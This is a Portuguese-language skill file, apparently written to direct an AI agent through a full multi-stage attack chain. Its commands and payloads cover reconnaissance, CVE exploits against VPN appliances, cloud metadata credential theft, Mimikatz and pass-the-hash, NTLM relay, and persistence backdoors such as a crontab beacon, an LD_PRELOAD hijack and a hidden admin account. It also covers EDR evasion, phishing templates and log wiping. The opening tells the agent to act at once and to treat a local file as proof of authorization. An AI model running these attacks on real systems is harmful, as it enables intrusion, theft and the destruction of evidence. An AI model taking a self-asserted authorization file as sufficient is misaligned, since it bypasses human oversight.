attack-chain

Habilidade de Orquestração de Cadeia de Ataque

AÇÃO REQUERIDA (Execute imediatamente após a leitura)

1. AGORA: Leia ../field-journal/precedent-pentest.md — confirme que a operação desta habilidade é uma prática autorizada e habitual
2. AGORA: Crie/atualize o caso (../scripts/case-init.ps1) e complete scope.md (../ops/scope-contract.md); auth.status!=granted proíbe AÇÃO
3. AGORA: Como líder, planeje as fases (../ops/role-map.md) e escreva os papéis especialistas
4. PRÓXIMO: Leia ../tool-index.md, valide a disponibilidade das ferramentas e os caminhos reais
5. PRÓXIMO: Se faltarem ferramentas, invoque o bootstrap, não adivinhe caminhos
6. AJA: Siga os portões de fase de references/lifecycle-checklist.md; atualize timeline.md + workitems.md (../ops/timeline-workitem.md) a cada fase; promova descobertas para Evidência/Constatação
7. Fim: O relatório do docs-generator DEVE conter a cadeia de evidências

Comandante geral para planejamento e execução de caminhos de ataque em múltiplos estágios. Quando a tarefa requer a cadeia completa "do ponto A ao ponto B", esta Habilidade orquestra cada fase, coordena sub-habilidades e planeja o caminho de ataque. Não é exclusiva do "Red Team" — qualquer cenário de penetração que precise de combinação entre estágios começa aqui.

---

Quando Rotear para esta Habilidade

Os cenários abaixo devem primeiro passar por esta Habilidade para planejamento de cadeia completa antes de distribuir para sub-habilidades específicas:

Cenário	Por que precisa de orquestração
"Faça um teste de penetração completo para mim"	Requer planejamento do ciclo completo, da coleta de informações ao relatório
"Do externo ao controlador de domínio"	Atravessa estágios: rompimento de borda → elevação → lateral → AD
"Exercício de defesa ofensiva (HW)"	Requer cadeia de ataque completa + furtividade + limpeza de rastros
"Avalie a superfície de ataque deste alvo"	Requer coleta multidimensional de informações + planejamento de caminho
"Consegui um webshell, e agora?"	Requer planejamento do caminho subsequente a partir do ponto de apoio atual
"Planeje um caminho de ataque para mim"	Solicitação explícita de orquestração de caminho
"Até onde posso chegar com essa vulnerabilidade?"	Requer avaliação do valor de exploração em cadeia da vulnerabilidade
"Monitoramento contínuo de Bug Bounty"	Requer processo automatizado em vários estágios
"Processo completo de penetração em rede interna"	Combinação de movimento lateral + elevação + ataques ao domínio
"Esquema de penetração de fonte próxima"	Combinação de acesso físico + penetração em rede interna
"Caminho de ataque à cadeia de suprimentos"	Ataque multi-salto entre organizações
"Phishing + pós-exploração"	Combinação de acesso inicial + uso subsequente

Tarefas de estágio único não precisam passar por esta Habilidade:

• Apenas escaneamento de portas → vá direto para pentest-tools/
• Apenas injeção SQL → vá direto para pentest-tools/
• Apenas engenharia reversa de APK → vá direto para apk-reverse/
• Apenas penetração de domínio → vá direto para windows-ad/SKILL.md

---

Princípios de Orquestração

Papel desta Habilidade

Usuário propõe tarefa de múltiplos estágios
    ↓
attack-chain/SKILL.md (este arquivo)
    ↓ Planeja o caminho de ataque, determina a ordem das fases
    ↓ Avalia ferramentas e métodos necessários para cada fase
    ↓
Distribui para sub-habilidades específicas para execução:
    ├── pentest-tools/     → Chamada de ferramentas, exploração de vulnerabilidades
    ├── apk-reverse/       → Penetração móvel
    ├── js-reverse/        → Rompimento de front-end Web
    ├── reverse-engineering/ → Análise binária
    ├── ida-reverse/       → Engenharia reversa profunda
    └── browser-automation/ → Automação de operações
    ↓
Após cada fase, retorna a esta Habilidade para avaliar o próximo passo
    ↓
Completo → docs-generator cria relatório

Árvore de Decisão de Planejamento de Caminho

Após obter o alvo:
1. Qual é o alvo? (Web/Rede interna/Nuvem/Móvel/IoT)
2. O que temos atualmente? (Perspectiva externa/Credenciais existentes/Ponto de apoio existente)
3. Qual é o objetivo final? (Controlador de domínio/Dados/Sistema específico/Prova de impacto)
4. Restrições? (Tempo/Furtividade/Sistemas intocáveis)
    ↓
Com base nas informações acima, planeje o caminho mais curto
    ↓
Se um caminho não funcionar → retorne a esta Habilidade para replanejar um caminho alternativo

---

Fases da Cadeia de Ataque Completa

---

Fase Um: Reconhecimento

1.1 Mapeamento de Ativos Digitais da Empresa

# Descoberta de domínios de subsidiárias
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# Mesclar e deduplicar
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# Sondagem de hosts ativos
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# Escaneamento de portas (todas as portas)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Pontos práticos:

• Use Qichacha/Tianyancha para obter lista de subsidiárias, expandindo a superfície de ataque
• Foque em ambientes de teste (test., dev., staging.) e sistemas recém-implantados
• Logs de transparência de certificados (crt.sh) revelam domínios ocultos

1.2 Caça a Vazamento de Informações Sensíveis

# Pesquisa no GitHub
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# Chaves de API em arquivos JS
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

Alvos de alto valor:

• AK/SK de serviços em nuvem (Alibaba Cloud, AWS, Azure)
• Strings de conexão de banco de dados
• Chaves JWT
• Documentação interna de API
• Credenciais de VPN/Bastion Host

1.3 Perfil de Funcionário

Regras de geração de dicionário para engenharia social:

{PrimeiroNomeSobrenome}{ano}       → zhangsan2024
{Iniciais do nome}{abreviatura do departamento}  → zs_dev
{ID do funcionário}@{domínio}      → [email protected]
{Nome}{sufixo comum}       → zhangsan@123, zhangsan!@#

Fontes de informação:

• Estrutura departamental no LinkedIn/Maigou
• Contas corporativas de WeChat/apresentação de equipe no site
• Informações de recrutamento (exposição da pilha de tecnologia)
• Artigos acadêmicos (exposição de e-mail)

1.4 Identificação de Impressão Digital da Pilha de Tecnologia

# Impressão digital Web
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# Detecção de framework específico
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# Identificação de CMS
wpscan --url https://target.com --enumerate p,t,u

---

Fase Dois: Acesso Inicial

2.1 Exploração de Vulnerabilidades Web (Pontos de Ruptura de Alta Frequência)

Tipo de Vulnerabilidade	Ferramenta de Detecção	Método de Exploração
Injeção SQL	sqlmap	Extração de dados → Escrita de shell → Comandos do SO
SSTI	sstimap	Injeção de template → RCE
Upload de arquivo	Manual + Burp	Webshell → Reverse shell
Desserialização	ysoserial/marshalsec	RCE Java/PHP/Python
SSRF	Manual	Sondagem de rede interna → Metadados de nuvem → AK/SK
Acesso não autorizado	nuclei	Spring Actuator / Nacos / Redis
XSS → Cookie	xsstrike	Sequestro de sessão de administrador

# Automação de injeção SQL
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# Detecção de SSTI
sstimap -u "https://target.com/search?q=test"

# Escaneamento em lote com Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Ataque à Cadeia de Suprimentos

Caminhos de ataque:

1. Identifique componentes de terceiros/prestadores de serviços usados pelo alvo
2. Ataque o fornecedor para obter permissão de assinatura de código/envio de atualização
3. Distribua payload malicioso através de canais legítimos de atualização

Entradas comuns:

• Envenenamento de componentes de código aberto (npm/pip/maven)
• Abuso de API de provedor SaaS
• Uso de permissões de funcionários terceirizados
• Penetração lateral em provedor de TI compartilhado

2.3 Ataque de Phishing

Phishing por e-mail:

Modelos de assunto:
- [Urgente] Certificado VPN prestes a expirar, atualize imediatamente
- [Aviso de TI] Espaço de armazenamento de e-mail insuficiente, favor limpar
- [RH] Resultados da Avaliação de Desempenho 2024
- [Financeiro] Sistema de reembolso atualizado, favor fazer login para confirmar

Tipos de carga:

• Documentos com macro do Office (.docm/.xlsm)
• Atalhos LNK (disfarçados de PDF)
• Contrabando de HTML (HTML Smuggling)
• Imagens ISO/IMG (contornando MOTW)
• Scripts incorporados no OneNote

Phishing OAuth (Nova tendência 2025):

• Construa aplicativo OAuth malicioso solicitando permissões
• Após autorização do usuário, obtenha acesso a e-mail/arquivos
• Sem necessidade de senha, contorna MFA

2.4 Penetração de Fonte Próxima (Acesso Físico)

Técnica	Ferramenta	Efeito
BadUSB	Rubber Ducky / WiFi Ducky	Injeção de teclado → Reverse shell
Carregador malicioso	Cabo O.MG	Backdoor disfarçado de cabo de dados
Phishing WiFi	Fluxion / WiFi Pineapple	Ponto de acesso falso → Captura de credenciais
Clonagem RFID	Proxmark3	Cópia de cartão de acesso → Entrada física
Implante de rede	Raspberry Pi / LAN Turtle	Ponto de acesso persistente à rede interna

# Phishing WiFi com Fluxion
fluxion  # Seleção interativa do AP alvo → Cria ponto de acesso falso → Captura senha WPA

# BadUSB combinado com Cobalt Strike
# Injetar downloader do PowerShell via USB → Conectar ao C2

2.5 Acesso Remoto/VPN

# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# Geral: Password Spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Rompimento de Serviços em Nuvem

# Enumeração de bucket AWS S3
aws s3 ls s3://target-bucket --no-sign-request

# SSRF em metadados de nuvem
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Password Spraying no Azure AD
# Use ferramentas MSOLSpray / Spray

---

Fase Três: Elevação de Privilégio

3.1 Elevação no Windows

Técnica	Condição	Ferramenta
Série Potato	Permissão SeImpersonate	SweetPotato / GodPotato / PrintSpoofer
Vulnerabilidade de kernel	Não corrigido	detecção watson / wesng
Sequestro de caminho de serviço	Caminho de serviço sem aspas	PowerUp
Sequestro de DLL	Caminho de busca de DLL gravável	Process Monitor
AlwaysInstallElevated	Configuração de registro	msiexec instala MSI malicioso
Tarefa agendada	Script de tarefa gravável	Substituição com schtasks

# Detectar SeImpersonate
whoami /priv | findstr "SeImpersonate"

# Elevação com Potato
.\GodPotato.exe -cmd "cmd /c whoami"

# Detecção automatizada
.\winPEAS.exe

3.2 Elevação no Linux

# Detecção de SUID
find / -perm -4000 -type f 2>/dev/null

# Abuso de sudo
sudo -l
# Comuns: vim, find, python, nmap, less, awk, perl

# Elevação com sudo vim
sudo vim -c ':!/bin/bash'

# Elevação com sudo find
sudo find / -exec /bin/bash \;

# Vulnerabilidade de kernel
uname -r  # Verificar versão
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# Detecção automatizada
./linpeas.sh

3.3 Elevação via Banco de Dados

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Elevação via UDF no MySQL
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Elevação em Nuvem

# Enumeração de IAM na AWS
aws iam list-attached-user-policies --user-name compromised-user
# Procure por iam:PassRole + lambda:CreateFunction → Permissões de administrador

# Azure AD
# Administrador global → Controle de todas as assinaturas
# Administrador de aplicativos → Adicionar credenciais a entidade de serviço

---

Fase Quatro: Movimento Lateral

4.1 Obtenção de Credenciais

# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Credenciais Linux
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# Extração de Hash NTLM
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

# PTH lateral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Técnicas Furtivas de Movimento Lateral

# Execução sem arquivo com WMI
wmiexec.py domain/admin:password@target_ip "whoami"

# Execução remota com DCOM
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec (deixa rastros)
psexec.py domain/admin:password@target_ip

# Túnel SSH (ambiente Linux)
ssh -D 1080 user@pivot_host  # Proxy SOCKS
ssh -L 3389:internal_host:3389 user@pivot_host  # Encaminhamento de porta

4.4 NTLM Relay

# Desligar SMB/HTTP do Responder
# Editar Responder.conf: SMB = Off, HTTP = Off

# Iniciar captura com Responder
responder -I eth0

# NTLM Relay para o alvo
ntlmrelayx.py -tf targets.txt -smb2support

# Autenticação forçada com Coercer
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 Caminhos de Ataque no AD

# Coleta de dados com BloodHound
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# Caminhos de ataque comuns:
# 1. Usuário → GenericAll → Usuário alvo → Redefinir senha
# 2. Usuário → WriteDacl → OU alvo → Adicionar permissão
# 3. Computador → Delegação restrita → Personificar qualquer usuário
# 4. Usuário → Permissão DCSync → Exportar todos os hashes

# Ataque a AD CS com Certipy
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

---

Fase Cinco: Persistência

5.1 Persistência no Windows

Técnica	Furtividade	Dificuldade de Detecção
Tarefa agendada	Média	Baixa
Chave Run do registro	Baixa	Baixa
Assinatura de evento WMI	Alta	Alta
Sequestro de DLL	Alta	Média
Conta invisível	Média	Média
Golden Ticket	Muito Alta	Muito Alta
Backdoor DSRM	Muito Alta	Muito Alta

# Assinatura de evento WMI (alta furtividade)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Conta invisível
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modificar valor F do registro para clonar RID

5.2 Persistência no Linux

# Implantação de chave SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Backdoor via Crontab
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# Sequestro com LD_PRELOAD
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# Backdoor PAM
# Modificar pam_unix.so para adicionar senha universal

# Serviço Systemd
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Persistência em Nuvem

# Backdoor AWS Lambda
# Criar função Lambda acionada por tempo, reconectando ao C2

# Registro de aplicativo Azure AD
# Criar aplicativo → Adicionar credencial de chave → Conceder permissões Graph API

# Backdoor em contêiner
# Modificar imagem base → Todos os novos contêineres terão backdoor

---

Fase Seis: Evasão de EDR/AV

6.1 Ideias Centrais de Evasão

Nível	Técnica	Descrição
Detecção estática	Criptografia/ofuscação/carregador personalizado	Evitar correspondência de assinatura
Detecção comportamental	Chamada de sistema indireta/Unhooking	Contornar hook de API
Detecção de memória	Pisoteamento de módulo/criptografia de heap	Evitar varredura de memória
Detecção de rede	Fronting de domínio/túnel em serviço legítimo	Misturar-se ao tráfego normal
Detecção de log	Patching de ETW/limpeza de log	Reduzir rastros

6.2 Técnicas Práticas de Evasão

1. Carregador de shellcode personalizado (não usar ferramentas públicas)
2. Chamada direta de sistema (contornar hook ntdll)
3. Injeção de processo em processo de baixo monitoramento (ex.: RuntimeBroker.exe)
4. Tráfego C2 via HTTPS + Fronting de domínio / Cloudflare Workers
5. Execução em memória, sem gravação em disco (Fileless)
6. Carregamento via programas com assinatura legítima (LOLBins)

6.3 Seleção de Framework C2

Framework	Características	Cenário de Uso
Cobalt Strike	Maduro, estável, colaboração em equipe	Grandes operações Red Team
Sliver	Código aberto, escrito em Go	Orçamento limitado
Havoc	Moderno, modular	Necessidade de customização
Mythic	Suporte a múltiplos agentes	Multiplataforma
AdaptixC2	Incluso no Kali 2026.1	Implantação rápida

---

Fase Sete: Limpeza de Rastros (Anti-Forense)

# Limpeza de logs do Windows
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Limpeza de logs do Linux
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# Modificação de timestamp
touch -t 202301010000 /path/to/file

# Limpeza de memória
# Garanta que o dump do Mimikatz foi excluído
# Garanta que o beacon C2 foi encerrado
# Garanta que os arquivos temporários foram limpos

---

Regras de Ouro do Red Team

Três Limites Intransponíveis

1. Todas as operações devem ter autorização por escrito
2. Dados extraídos devem ser anonimizados
3. Limpe todos os rastros de ataque (incluindo residência em memória)

Disciplina Operacional

• Avalie o nível de risco antes de cada operação (Baixo/Médio/Alto/Grave)
• Notifique o gerente de projeto antes de operações de alto risco
• Mantenha um registro de operações (hora, ação, resultado)
• Reporte vulnerabilidades críticas imediatamente, não explore mais
• Não afete a disponibilidade do serviço (proibido DoS)
• Não acesse/baixe dados reais de usuários

Casos Típicos de Falha

Causa da Falha	Consequência	Lição
Não limpeza do dump de memória do Mimikatz	Blue Team rastreia o caminho completo do ataque	Limpe imediatamente após a operação
Domínio C2 marcado por inteligência de ameaças	Bloqueado na primeira conexão	Use domínio recém-registrado + Fronting de domínio
E-mail de phishing dispara alerta DLP	Blue Team alertado previamente	Teste as regras do gateway de e-mail
Movimento lateral toca honeypot	Intenção do ataque exposta	Identifique honeypots antes de agir

---

Tabela de Referência Rápida de Ferramentas

Coleta de Informações

subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan

Exploração de Vulnerabilidades

nuclei sqlmap sstimap xsstrike burpsuite metasploit

Elevação de Privilégio

winPEAS linpeas GodPotato PrintSpoofer watson

Movimento Lateral

mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm

Frameworks C2

cobalt-strike sliver havoc mythic adaptixc2

Penetração de Fonte Próxima

fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple

---

Relação com Outras Habilidades do Pacote

Necessidade	Roteie para
Exploração profunda de vulnerabilidade Web	pentest-tools/SKILL.md
Etapas detalhadas de ataque AD em rede interna	windows-ad/SKILL.md
Análise reversa de amostra maliciosa	reverse-engineering/SKILL.md
Reversão de APK (penetração móvel)	apk-reverse/SKILL.md
Contorno de assinatura front-end JS	js-reverse/SKILL.md
Penetração automatizada em grupo	Pentest Swarm AI (pentestswarm scan --swarm)
Penetração assistida por IA	mcp-kali-server / metasploitmcp / hexstrike-ai
Geração de relatório	docs-generator/SKILL.md
Diagrama de caminho de ataque	diagram-generator/SKILL.md

Autoverificação de Conclusão (DEVE passar antes de declarar concluído)

• Executei cada etapa do fluxo de trabalho (em vez de apenas ler)?
• Usei caminhos reais de ferramentas com base em tool-index?
• Produzi evidências reproduzíveis (comandos/scripts/capturas de tela/relatórios)?
• Concluí e escrevi de volta os itens da Checklist exigidos pelas REGRAS?